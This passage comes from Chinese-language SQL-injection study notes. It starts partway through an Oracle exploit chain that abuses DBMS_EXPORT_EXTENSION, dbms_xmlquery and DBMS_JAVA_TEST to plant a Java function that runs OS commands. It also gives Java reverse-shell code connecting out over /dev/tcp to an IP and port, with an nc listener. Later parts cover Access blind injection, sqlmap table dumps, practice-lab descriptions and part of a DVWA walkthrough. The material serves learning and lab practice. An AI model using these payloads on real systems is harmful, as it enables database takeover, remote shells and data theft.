e.toString();}}}&apos;&apos;&apos;&apos;;END;&apos;&apos;;END;--&apos;,&apos;SYS&apos;,0,&apos;1&apos;,0) from dual
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;赋予Java权限&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(&apos;FOO&apos;,&apos;BAR&apos;,&apos;DBMS_OUTPUT&quot;.PUT(:P1);EXECUTE IMMEDIATE &apos;&apos;DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE &apos;&apos;&apos;&apos;begin dbms_java.grant_permission(&apos;&apos;&apos;&apos;&apos;&apos;&apos;&apos;PUBLIC&apos;&apos;&apos;&apos;&apos;&apos;&apos;&apos;, &apos;&apos;&apos;&apos;&apos;&apos;&apos;&apos;SYS:java.io.FilePermission&apos;&apos;&apos;&apos;&apos;&apos;&apos;&apos;,&apos;&apos;&apos;&apos;&apos;&apos;&apos;&apos;&amp;lt;&amp;gt;&apos;&apos;&apos;&apos;&apos;&apos;&apos;&apos;, &apos;&apos;&apos;&apos;&apos;&apos;&apos;&apos;execute&apos;&apos;&apos;&apos;&apos;&apos;&apos;&apos;);end;&apos;&apos;&apos;&apos;;END;&apos;&apos;;END;--&apos;,&apos;SYS&apos;,0,&apos;1&apos;,0) from dual
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;创建函数&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(&apos;FOO&apos;,&apos;BAR&apos;,&apos;DBMS_OUTPUT&quot;.PUT(:P1);EXECUTE IMMEDIATE &apos;&apos;DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE &apos;&apos;&apos;&apos;create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name&apos;&apos;&apos;&apos;&apos;&apos;&apos;&apos;LinxUtil.runCMD(java.lang.String) return String&apos;&apos;&apos;&apos;&apos;&apos;&apos;&apos;;&apos;&apos;&apos;&apos;;END;&apos;&apos;;END;--&apos;,&apos;SYS&apos;,0,&apos;1&apos;,0) from dual
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;赋予函数执行权限&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(&apos;FOO&apos;,&apos;BAR&apos;,&apos;DBMS_OUTPUT&quot;.PUT(:P1);EXECUTE IMMEDIATE &apos;&apos;DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE &apos;&apos;&apos;&apos;grant all on LinxRunCMD to public&apos;&apos;&apos;&apos;;END;&apos;&apos;;END;--&apos;,&apos;SYS&apos;,0,&apos;1&apos;,0) from dual
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;执行系统命令&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;select sys.LinxRunCMD(&apos;/bin/bash -c /usr/bin/whoami&apos;) from dual
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-10-sql-injection/b9615c201f-41f945b7ba440cd61ac1d793ac910364.png&quot; alt=&quot;41f945b7ba440cd61ac1d793ac910364&quot; style=&quot;zoom:50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;dbms_xmlquery.newcontext()&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;•影响版本：Oracle 8.1.7.4, 9.2.0.1-9.2.0.7, 10.1.0.2-10.1.0.4, 10.2.0.1-10.2.0.2, XE(Fixed in CPU July 2006)

•必须在DBMS_PORT_EXTENSION存在漏洞情况下，否则赋予权限时无法成功s
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;创建Java库&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;select dbms_xmlquery.newcontext(&apos;declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate &apos;&apos;create or replace and compile java source named &quot;LinxUtil&quot; as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str=&quot;&quot;;while ((stemp = myReader.readLine()) != null) str +=stemp+&quot;\n&quot;;myReader.close();return str;} catch (Exception e){return e.toString();}}}&apos;&apos;;commit;end;&apos;) from dual;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;赋予当前用户Java权限&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;--当前用户查看
select user from dual

select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(&apos;FOO&apos;,&apos;BAR&apos;,&apos;DBMS_OUTPUT&quot;.PUT(:P1);EXECUTE IMMEDIATE &apos;&apos;DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE &apos;&apos;&apos;&apos;begin dbms_java.grant_permission(&apos;&apos;&apos;&apos;&apos;&apos;&apos;&apos;YY&apos;&apos;&apos;&apos;&apos;&apos;&apos;&apos;, &apos;&apos;&apos;&apos;&apos;&apos;&apos;&apos;SYS:java.io.FilePermission&apos;&apos;&apos;&apos;&apos;&apos;&apos;&apos;,&apos;&apos;&apos;&apos;&apos;&apos;&apos;&apos;&amp;lt;&amp;lt;ALL FILES&amp;gt;&amp;gt;&apos;&apos;&apos;&apos;&apos;&apos;&apos;&apos;, &apos;&apos;&apos;&apos;&apos;&apos;&apos;&apos;execute&apos;&apos;&apos;&apos;&apos;&apos;&apos;&apos;);end;&apos;&apos;&apos;&apos;;END;&apos;&apos;;END;--&apos;,&apos;SYS&apos;,0,&apos;1&apos;,0) from dual;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;通过以下命令可以查看all_objects内部改变：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;select * from all_objects where object_name like &apos;%LINX%&apos; or object_name like &apos;%Linx%&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-10-sql-injection/64350f83ec-9801e9db8da423748879556449100592.png&quot; alt=&quot;9801e9db8da423748879556449100592&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;创建函数&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;select dbms_xmlquery.newcontext(&apos;declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate &apos;&apos;create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name &apos;&apos;&apos;&apos;LinxUtil.runCMD(java.lang.String) return String&apos;&apos;&apos;&apos;; &apos;&apos;;commit;end;&apos;) from dual;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;判断是否创建成功&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;select OBJECT_ID from all_objects where object_name =&apos;LINXRUNCMD&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-10-sql-injection/c1c8337519-6c90692b1e14f60b76b83c6a3caa8c07.png&quot; alt=&quot;6c90692b1e14f60b76b83c6a3caa8c07&quot; style=&quot;zoom:50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;也可通过查看all_objects内部改变判断&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-10-sql-injection/c84f2e1ce7-66e1f40cb4f68d2cb6cdad10bb98ac2e.png&quot; alt=&quot;66e1f40cb4f68d2cb6cdad10bb98ac2e&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;若想删除创建的函数，通过以下命令删除&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;drop function LinxRunCMD
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;执行命令&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;select LinxRunCMD(&apos;id&apos;) from dual
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-10-sql-injection/d167655bf8-dc69b6f46fbe234c05508b315e072532.png&quot; alt=&quot;dc69b6f46fbe234c05508b315e072532&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;dbms_java_test.funcall()&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;•影响版本：10g R2, 11g R1, 11g R2

•权限：Java Permissions
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;Select DBMS_JAVA_TEST.FUNCALL(&apos;oracle/aurora/util/Wrapper&apos;,&apos;main&apos;,&apos;/bin/bash&apos;,&apos;-c&apos;,&apos;pwd &amp;gt; /tmp/pwd.txt&apos;) from dual;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;执行时报如下错&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-10-sql-injection/c5fa6a2010-1db33a6da462210c1b0b4fddc1d6c452.png&quot; alt=&quot;1db33a6da462210c1b0b4fddc1d6c452&quot; /&gt;&lt;/p&gt;
&lt;p&gt;但不影响命令的执行&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-10-sql-injection/303cef8936-a87435987b46285ef131698f7834623b.png&quot; alt=&quot;a87435987b46285ef131698f7834623b&quot; /&gt;&lt;/p&gt;
&lt;p&gt;该方式无回显，在注入时不太方便利用，但可通过此方式反弹。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Java反弹Shell&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;在提权操作中如果遇到无回显情况，如上部分第三种方法，可以通过反弹shell的方式，在自己VPS上利用nc监听端口。以此来执行交互式执行命令（类似带外通信）。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;编译payload&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;java源代码（linux系统的payload）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import java.io.*;
import java.net.*;
public class shellRev
{
        public static void main(String[] args)
        {
                System.out.println(1);
                try{run();}
                catch(Exception e){}
        }
public static void run() throws Exception
        {
                String[] aaa={&quot;/bin/bash&quot;,&quot;-c&quot;,&quot;exec 9&amp;lt;&amp;gt; /dev/tcp/192.168.1.50/8080;exec 0&amp;lt;&amp;amp;9;exec 1&amp;gt;&amp;amp;9 2&amp;gt;&amp;amp;1;/bin/sh&quot;};
                Process p=Runtime.getRuntime().exec(aaa);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;#编译
javac shellRev.java

#执行
java shellRev
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;使用Java执行&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;创建Java库&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(&apos;FOO&apos;,&apos;BAR&apos;,&apos;DBMS_OUTPUT&quot;.PUT(:P1);EXECUTE IMMEDIATE &apos;&apos;DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE &apos;&apos;&apos;&apos;create or replace and compile java source named &quot;shell&quot; as import java.io.*;import java.net.*;public class shell {public static void run() throws Exception{String[] aaa={&quot;/bin/bash&quot;,&quot;-c&quot;,&quot;exec 9&amp;lt;&amp;gt; /dev/tcp/127.0.0.1/8080;exec 0&amp;lt;&amp;amp;9;exec 1&amp;gt;&amp;amp;9 2&amp;gt;&amp;amp;1;/bin/sh&quot;};Process p=Runtime.getRuntime().exec(aaa);}}&apos;&apos;&apos;&apos;;END;&apos;&apos;;END;--&apos;,&apos;SYS&apos;,0,&apos;1&apos;,0) from dual
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;赋予Java权限&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(&apos;FOO&apos;,&apos;BAR&apos;,&apos;DBMS_OUTPUT&quot;.PUT(:P1);EXECUTE IMMEDIATE &apos;&apos;DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE &apos;&apos;&apos;&apos;begin dbms_java.grant_permission( &apos;&apos;&apos;&apos;&apos;&apos;&apos;&apos;PUBLIC&apos;&apos;&apos;&apos;&apos;&apos;&apos;&apos;, &apos;&apos;&apos;&apos;&apos;&apos;&apos;&apos;SYS:java.net.SocketPermission&apos;&apos;&apos;&apos;&apos;&apos;&apos;&apos;, &apos;&apos;&apos;&apos;&apos;&apos;&apos;&apos;&amp;lt;&amp;gt;&apos;&apos;&apos;&apos;&apos;&apos;&apos;&apos;, &apos;&apos;&apos;&apos;&apos;&apos;&apos;&apos;*&apos;&apos;&apos;&apos;&apos;&apos;&apos;&apos; );end;&apos;&apos;&apos;&apos;;END;&apos;&apos;;END;--&apos;,&apos;SYS&apos;,0,&apos;1&apos;,0) from dual
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;创建函数&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(&apos;FOO&apos;,&apos;BAR&apos;,&apos;DBMS_OUTPUT&quot; .PUT(:P1);EXECUTE IMMEDIATE &apos;&apos;DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE &apos;&apos;&apos;&apos;create or replace function reversetcp RETURN VARCHAR2 as language java name &apos;&apos;&apos;&apos;&apos;&apos;&apos;&apos;shell.run() return String&apos;&apos;&apos;&apos;&apos;&apos;&apos;&apos;; &apos;&apos;&apos;&apos;;END;&apos;&apos;;END;--&apos;,&apos;SYS&apos;,0,&apos;1&apos;,0) from dual
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;赋予函数执行权限&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(&apos;FOO&apos;,&apos;BAR&apos;,&apos;DBMS_OUTPUT&quot; .PUT(:P1);EXECUTE IMMEDIATE &apos;&apos;DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE &apos;&apos;&apos;&apos;grant all on reversetcp to public&apos;&apos;&apos;&apos;;END;&apos;&apos;;END;--&apos;,&apos;SYS&apos;,0,&apos;1&apos;,0) from dual
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;反弹shell&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;select sys.reversetcp from dual
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;shell命令行输入：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nc -vv -l p 8080
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-10-sql-injection/97e643a053-1ef04f6da3819ca4714700e3220e7e01.png&quot; alt=&quot;1ef04f6da3819ca4714700e3220e7e01&quot; style=&quot;zoom:50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;h4&gt;3、Access&lt;/h4&gt;
&lt;h5&gt;1)Access数据库介绍&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;Microsoft Office Access是由微软发布的关系数据库管理系统。Microsoft Office Access是微软把数据库引擎的图形用户界面和软件开发工具结合在一起的一个数据库管理系统。它是微软Office家族的一个成员。Access以它自己的格式将数据存储在基于Access Jet的数据库引擎里。Access数据库属于文件型数据库，所以不需要端口号。

在Office 2007之前的Access数据库文件的后缀是 .mdb ，Office2007及其之后的Access数据库文件的后缀是 .accdb 。

Access数据库中没有注释符号.因此  /**/   、 --   和   #   都没法使用。

Access是小型数据库，当容量到达100M左右的时候性能就会开始下降。

Access数据库不支持错误显示注入，Access数据库不能执行系统命令。

数据库文件打开工具：辅臣数据库浏览器
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;2)Access数据库的连接&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;&quot;Driver={Microsoft Access driver(*.mdb)};dbq=*;uid=admin;pwd=pass;&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;3)Access数据库中的函数&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;select len(&quot;string&quot;)        查询给定字符串的长度

select asc(&quot;a&quot;)             查询给定字符串的ascii值

top  n                      查询前n条记录

select mid(&quot;string&quot;,2,1)    查询给定字符串从指定索引开始的长度
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;mid(string,start,length) 这个用来截取字符串的

1.string是要截取的字符串

2.start是截取的字符串开始索引

3.length是要截取的字符串长度 
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;4)盲注Access数据库&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;Access数据库特有的表是：msysobjects，所以可以用它来判断是否是Access数据库
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;exists(select*from msysobjects)  #如果这条语句正确，说明是Access数据库
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;Access没有数据库的概念，所有的表都是在同一个数据库下。所以，我们不用去判断当前的数据库名，并且access数据库中也不存在 database() 函数。

对于判断存在哪些表，只能用以下枚举的方法来猜测是否存在某某表。
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;判断存在sql注入后，判断是否存在admin表，如果存在，正常查询，如果不存在，报语法错误。然后通过枚举表名爆破

and exists(select* from  admin)
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;猜测字段也是一样，只能通过枚举来猜测 
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;判断有admin表后，再判断admin表有多少列，假如1-10正常查询，11列报语法报错，那说明有10列

and exists(select*from admin order by 10)

判断出存在的列数后，再判断具体的列名。以下语句判断是否存在name列，如果存在，正常查询，如果不存在，则报语法错误。然后再通过枚举列名爆破

and exists(select name from admin)
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;猜测完表名和字段名后，我们就看看这个表里面有多少行数据 ，如果&amp;gt;99查询正确，&amp;gt;100查询错误(这里是查询错误，而不是语法错误)，说明有100行数据
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;and (select count(*) from information)&amp;gt;100
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;然后在猜测每个字段具体的数据了 

access数据库中没有 limit，就不能限制查询出来的行数。但是我们可以使用top命令，top 1是将查询的所有数据只显示第一行，所以 top3就是显示查询出来的前三行数据了
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;猜测admin列的第一个数据的长度，如果大于5查询不出数据，大于4正常，说明admin列的第一个数据长度是5

and (select top 1 len(admin)from admin)&amp;gt;5
 
猜测admin列的第一行数据的第一个字符的ascii码值，如果大于97查询不出数据，大于96正常，说明admin列的第一行数据的第一个字符的ascii值是97

and (select top 1 asc(mid(admin,1,1))from admin)&amp;gt;97 

第一行数据的第二个字符

and (select top 1 asc(mid(admin,2,1))from admin)&amp;gt;97 
 
从第二行开始，查询数据就得用另外的语句了,因为这里的top只能显示查询前几条数据，所以我们得用联合查询，先查询前两条，然后倒序，然后在找出第一条，这就是第二条数据。

查询第二行admin列的长度

and (select top 1 len(admin)  from ( select top 2 * from information order by id)  order by id desc)&amp;gt;55
下面是查询第2条数据的第3个字符

and (select top 1 asc(mid(admin,3,1))  from ( select top 2 * from information order by id)  order by id desc)&amp;gt;55

查询第三条数据的4个字符
and (select top 1 asc(mid(admin,4,1))  from ( select top 3 * from information order by id)  order by id desc)&amp;gt;55
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;注：在access中，中文也可以用asc函数来表示，例如：asc(mid(&quot;中国&quot;,1)) 表示 中 字的ascii值，可以用 chr 来逆向得出值
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;asc(&quot;中&quot;) = -10544

chr(-10544) = 中
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;5)Sqlmap注入Access数据库&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;爆出access数据库存在的表，只能利用枚举的方式爆破。
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;sqlmap -u &quot;xxx&quot;  --tables
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;第一步问我们是否使用公共的库去爆破，我们选择：Y；

第二步选择默认的库文件：1 

第三步选择线程数：10
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-10-sql-injection/b3f9c0fc54-20190307153027569.png&quot; alt=&quot;20190307153027569&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;可以看出爆出了两个数据表：admin 、 specialty
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;爆出admin数据库中的列名
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;sqlmap -u &quot;xxx&quot; -T admin --columns
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;意思和上一步也是一样的。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-10-sql-injection/797f409316-2019030715315053.png&quot; alt=&quot;2019030715315053&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;爆出admin表下username列的所有数据
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;sqlmap -u &quot;xxx&quot; -T admin -C username --dump-all
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;九、SQL注入靶场解析笔记&lt;/h3&gt;
&lt;h4&gt;1、SQL注入的一些相关靶场简介&lt;/h4&gt;
&lt;h5&gt;1）DVWA&lt;/h5&gt;
&lt;p&gt;​	DVWA(Damn Vulnerable Web Application)一个用来进行安全脆弱性鉴定的PHP/MySQL Web 应用，旨在为安全专业人员测试自己的专业技能和工具提供合法的环境，帮助web开发者更好的理解web应用安全防范的过程。
DVWA 一共包含了十个攻击模块，分别是：Brute Force（暴力（破解））、Command Injection（命令行注入）、CSRF（跨站请求伪造）、- File Inclusion（文件包含）、File Upload（文件上传）、Insecure CAPTCHA （不安全的验证码）、SQL Injection（SQL注入）、SQL Injection（Blind）（SQL盲注）、XSS（Reflected）（反射型跨站脚本）、XSS（Stored）（存储型跨站脚本）。包含了 OWASP TOP10 的所有攻击漏洞的练习环境，一站式解决所有 Web 渗透的学习环境。
​	另外，DVWA 还可以手动调整靶机源码的安全级别，分别为 Low，Medium，High，Impossible，级别越高，安全防护越严格，渗透难度越大。
​	一般 Low 级别基本没有做防护或者只是最简单的防护，很容易就能够渗透成功；而 Medium 会使用到一些非常粗糙的防护，需要使用者懂得如何去绕过防护措施；High 级别的防护则会大大提高防护级别，一般 High 级别的防护需要经验非常丰富才能成功渗透；
​	最后 Impossible 基本是不可能渗透成功的，所以 Impossible 的源码一般可以被参考作为生产环境 Web 防护的最佳手段。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;下载地址：

官网地址：https://dvwa.co.uk/
GitHub下载地址：https://github.com/digininja/DVWA
网盘下载：https://pan.baidu.com/s/1W000yYSuZGTPAxUKmWuC4g    npui
CSDN下载地址：https://download.csdn.net/download/weixin_42248871/16297403
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-10-sql-injection/480347679d-3.png&quot; alt=&quot;3&quot; /&gt;&lt;/p&gt;
&lt;h5&gt;2）Sqli-Labs&lt;/h5&gt;
&lt;p&gt;SQLi-Labs 是一个专业的SQL注入练习平台
下面的测试场景都支持GET和POST两种注入方式：
1.报错注入(联合查询)
1)字符型
2)数字型
2.报错注入(基于二次注入)
3.盲注
1)基于布尔值
2)基于时间
4.UPDATE型注入练习
5.INSERT型注入练&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;HTTP头部注入
1)基于Referer
2)基于UserAgent
3)基于Cookie&lt;/li&gt;
&lt;li&gt;二次排序注入练习&lt;/li&gt;
&lt;li&gt;…&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;下载地址：

GitHub：https://github.com/Audi-1/sqli-labs
网盘：https://pan.baidu.com/s/1D90GgVpywF4uBbR2AP2SxA   pc6b
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-10-sql-injection/f0c7b47b24-4.png&quot; alt=&quot;4&quot; /&gt;&lt;/p&gt;
&lt;h5&gt;3）Pikachu&lt;/h5&gt;
&lt;p&gt;pikachu是一个漏洞练习平台。其中包含了常见的web安全漏洞&lt;/p&gt;
&lt;p&gt;Burt Force(暴力**漏洞)
XSS(跨站脚本漏洞)
CSRF(跨站请求伪造)
SQL-Inject(SQL注入漏洞)
RCE(远程命令/代码执行)
Files Inclusion(文件包含漏洞)
Unsafe file downloads(不安全的文件下载)
Unsafe file uploads(不安全的文件上传)
Over Permisson(越权漏洞)
…/…/…/(目录遍历)
I can see your ABC(敏感信息泄露)
PHP反序列化漏洞
XXE(XML External Entity attack)
不安全的URL重定向&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;下载地址：

GitHub地址：https://github.com/zhuifengshaonianhanlu/pikachu
CSDN:https://download.csdn.net/download/weixin_42248871/16297633
网盘地址：https://pan.baidu.com/s/1cvJzj6vXFQqIZVNNAQrxrw    riv5
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-10-sql-injection/889bc10377-5.png&quot; alt=&quot;5&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;2、有关靶场及在线靶场实操的笔记注解&lt;/h4&gt;
&lt;h5&gt;1&amp;gt;DVWA靶场&lt;/h5&gt;
&lt;h6&gt;1）&lt;strong&gt;模块：SQL Injection(回显注入-字符型)&lt;/strong&gt;——手动注入&lt;/h6&gt;
&lt;p&gt;DVWA靶机low安全等级的sql注入(手动注入)作业报告 2023-6-10&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;数据库名&amp;gt;&amp;gt;数据表名&amp;gt;&amp;gt;数据列名&amp;gt;&amp;gt;数据信息

注：16进制转换网站：https://www.sojson.com/md5/

    Md5解密网站：https://www.cmd5.com/
    
1&amp;gt;提交1

select 列名 from 表名 where id=1  int 

select 列名 from 表名 where id=’1’ char
      
2&amp;gt;假设是int类型

提交 1 and 1=1

select 列名 from 表名 where id=1 and 1=1 真的

提交 1 and 1=2

select 列名 from 表名 where id=1 and 1=2 假的

判断两个结果，如果两个结果显示的是一样的，证明不是int类型的SQL注入或者不存在漏洞

譬如以下这种情况：（则可以判断不是int类型）
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-10-sql-injection/6dd244286f-图片1.png&quot; alt=&quot;图片1&quot; style=&quot;zoom:50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-10-sql-injection/5139e50dc3-图片2.png&quot; alt=&quot;图片2&quot; style=&quot;zoom: 50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;3&amp;gt;假设是char类型

提交 1&apos; and 1=1 #

select 列名 from 表名 where id=&apos;1&apos; and 1=1 #&apos;  //#是注释符

提交 1&apos; and 1=2 #

select 列名 from 表名 where id=&apos;1&apos; and 1=2 #&apos;  //#是注释符

判断两个结果，如果两个结果显示的是一样的，证明不是char类型的SQL注入或者不存在漏洞。如果显示的结果不一样，那说明是char类型的SQL注入。

譬如以下这种情况：（则可以判断是char类型）
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-10-sql-injection/0508f66975-图片3.png&quot; alt=&quot;图片3&quot; style=&quot;zoom:50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-10-sql-injection/cb027af1dd-图片4.png&quot; alt=&quot;图片4&quot; style=&quot;zoom:50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;3&amp;gt;判断完SQL注入类型后，要利用漏洞

①判断数据表中的列数 通过order by

1&apos; order by n #  n为正整数  如果正常显示证明有这些列数，如果不正常显示证明没有这些列数
例如：
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-10-sql-injection/4b2a50fdbe-图片5.png&quot; alt=&quot;图片5&quot; style=&quot;zoom:50%;&quot; /&amp;gt;&lt;/p&gt;
